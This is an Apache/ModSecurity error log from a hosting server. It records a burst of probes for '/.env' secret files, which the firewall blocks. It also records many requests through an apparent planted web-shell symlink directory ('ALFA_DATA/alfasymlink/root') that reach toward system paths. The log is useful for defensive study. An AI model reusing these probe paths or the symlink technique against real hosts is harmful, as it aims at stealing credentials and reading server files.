[Sun Oct 25 16:35:27.374764 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5oDxBRkwwnkVogupUKKQAAABE"]
[Sun Oct 25 16:35:27.374955 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5oDxBRkwwnkVogupUKKQAAABE"]
[Sun Oct 25 16:35:27.375211 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5oDxBRkwwnkVogupUKKQAAABE"]
[Sun Oct 25 16:35:27.378212 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56392] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5oD6r0LF-nomLKPjx59gAAAAc"]
[Sun Oct 25 16:35:27.378364 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5oD6r0LF-nomLKPjx59gAAAAc"]
[Sun Oct 25 16:35:27.378653 2026] [security2:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at5oD6r0LF-nomLKPjx59gAAAAc"]
[Sun Oct 25 16:35:27.385377 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO8AAAAAU"]
[Sun Oct 25 16:35:27.385632 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO8AAAAAU"]
[Sun Oct 25 16:35:27.385879 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO8AAAAAU"]
[Sun Oct 25 16:35:27.387009 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WgAAAD8"]
[Sun Oct 25 16:35:27.387154 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WgAAAD8"]
[Sun Oct 25 16:35:27.387355 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5oD-awu2hdqh-E8Ti3WgAAAD8"]
[Sun Oct 25 16:35:27.395000 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5oD2VLMQvPe13-2XNXagAAAAY"]
[Sun Oct 25 16:35:27.395151 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5oD2VLMQvPe13-2XNXagAAAAY"]
[Sun Oct 25 16:35:27.395373 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5oD2VLMQvPe13-2XNXagAAAAY"]
[Sun Oct 25 16:35:27.396926 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMgAAABk"]
[Sun Oct 25 16:35:27.397063 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMgAAABk"]
[Sun Oct 25 16:35:27.397266 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMgAAABk"]
[Sun Oct 25 16:35:27.398216 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5oD7gKC8DPM1idVOQunwAAAA8"]
[Sun Oct 25 16:35:27.398349 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5oD7gKC8DPM1idVOQunwAAAA8"]
[Sun Oct 25 16:35:27.398625 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5oD7gKC8DPM1idVOQunwAAAA8"]
[Sun Oct 25 16:35:27.404338 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJQAAAAI"]
[Sun Oct 25 16:35:27.404541 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJQAAAAI"]
[Sun Oct 25 16:35:27.404776 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5oD_3ebQuInVpw1e8OJQAAAAI"]
[Sun Oct 25 16:35:30.813801 2026] [ssl:error] [pid 2897958:tid 2897958] (70014)End of file found: [client 18.204.152.114:53783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:34.112122 2026] [ssl:error] [pid 2897998:tid 2897998] (70014)End of file found: [client 3.224.205.25:6464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:34.200462 2026] [core:error] [pid 2897997:tid 2897997] (13)Permission denied: [client 44.218.6.93:2068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Sun Oct 25 16:35:34.319292 2026] [security2:error] [pid 2897987:tid 2897987] [client 87.76.138.39:33072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/kernel-keys/4.18.0-80.7.1.el8_0.x86_64/"] [unique_id "at5oFrHVVnSCHy-PFqozTgAAADU"]
[Sun Oct 25 16:35:34.319333 2026] [security2:error] [pid 2897987:tid 2897987] [client 87.76.138.39:33072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/kernel-keys/4.18.0-80.7.1.el8_0.x86_64/"] [unique_id "at5oFrHVVnSCHy-PFqozTgAAADU"]
[Sun Oct 25 16:35:34.644240 2026] [security2:error] [pid 2897998:tid 2897998] [client 146.56.199.139:39170] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at5oFna_Rps3iLxe9RTMdAAAAEI"]
[Sun Oct 25 16:35:40.024504 2026] [core:error] [pid 2898006:tid 2898006] (13)Permission denied: [client 130.193.225.152:41849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/object_size
[Sun Oct 25 16:35:46.163286 2026] [ssl:error] [pid 2897472:tid 2897472] (70014)End of file found: [client 18.232.36.1:19938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:46.421895 2026] [core:error] [pid 2898013:tid 2898013] (13)Permission denied: [client 196.191.221.176:39029] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/object_size
[Sun Oct 25 16:35:48.973347 2026] [core:error] [pid 2893743:tid 2893743] (13)Permission denied: [client 169.224.17.198:3314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/object_size
[Sun Oct 25 16:35:54.266012 2026] [ssl:error] [pid 2898015:tid 2898015] (70014)End of file found: [client 3.226.106.93:37249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:58.142589 2026] [ssl:error] [pid 2897654:tid 2897654] (70014)End of file found: [client 35.174.253.85:45969] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:06.128246 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 34.230.124.21:59103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:10.185318 2026] [ssl:error] [pid 2897998:tid 2897998] (70014)End of file found: [client 34.225.24.180:55299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:22.143292 2026] [ssl:error] [pid 2897654:tid 2897654] (70014)End of file found: [client 44.196.118.6:4038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:30.177525 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 18.210.58.238:19563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:34.148843 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 3.226.106.93:26992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:36:42.560926 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 187.13.182.8:53438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objects_partial
[Sun Oct 25 16:36:44.138307 2026] [core:error] [pid 2897994:tid 2897994] (13)Permission denied: [client 76.30.234.53:34721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objects_partial
[Sun Oct 25 16:36:46.086490 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 212.8.253.38:11169] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objects_partial
[Sun Oct 25 16:36:46.491684 2026] [core:error] [pid 2893743:tid 2893743] (13)Permission denied: [client 216.169.137.122:52030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objects_partial
[Sun Oct 25 16:36:50.592540 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 205.147.29.40:57140] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objects_partial
[Sun Oct 25 16:36:52.896382 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 154.125.160.47:40260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objects_partial
[Sun Oct 25 16:36:54.168020 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 100.29.63.24:19691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:13.085515 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 73.76.103.48:37065] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objs_per_slab
[Sun Oct 25 16:37:13.144988 2026] [security2:error] [pid 2897544:tid 2897544] [client 43.165.198.144:59228] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/0"] [unique_id "at5oeeD_fvb0tl7aQGrEaAAAAAo"]
[Sun Oct 25 16:37:14.719745 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 62.106.78.221:23532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/objs_per_slab
[Sun Oct 25 16:37:18.190186 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 54.225.148.123:54637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:22.146291 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 52.7.33.248:37935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:26.141747 2026] [ssl:error] [pid 2897654:tid 2897654] (70014)End of file found: [client 54.84.147.79:1142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:27.058400 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 185.191.171.12:37598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/object_size
[Sun Oct 25 16:37:30.192293 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 54.84.147.79:23681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/compact
[Sun Oct 25 16:37:42.415596 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 100.29.63.24:10051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:46.204910 2026] [ssl:error] [pid 2897654:tid 2897654] (70014)End of file found: [client 3.231.193.38:12861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:50.261492 2026] [ssl:error] [pid 2898013:tid 2898013] (70014)End of file found: [client 52.7.13.143:45103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:37:54.332953 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 44.194.139.149:62174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:02.208355 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 34.235.239.240:37612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/remove_id
[Sun Oct 25 16:38:10.278679 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 54.157.99.244:6849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:12.092659 2026] [security2:error] [pid 2897998:tid 2897998] [client 64.20.54.226:54244] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/PRSO6PR7KDCNZJ79CXV73F_N11EGXB6P"] [unique_id "at5otHa_Rps3iLxe9RTMewAAAEI"]
[Sun Oct 25 16:38:12.092696 2026] [security2:error] [pid 2897998:tid 2897998] [client 64.20.54.226:54244] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/PRSO6PR7KDCNZJ79CXV73F_N11EGXB6P"] [unique_id "at5otHa_Rps3iLxe9RTMewAAAEI"]
[Sun Oct 25 16:38:12.486733 2026] [security2:error] [pid 2897544:tid 2897544] [client 64.20.54.226:54320] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/-YGG8RGIA6L4B01N080EFO9AJF7MIBFW"] [unique_id "at5otOD_fvb0tl7aQGrEbwAAAAo"]
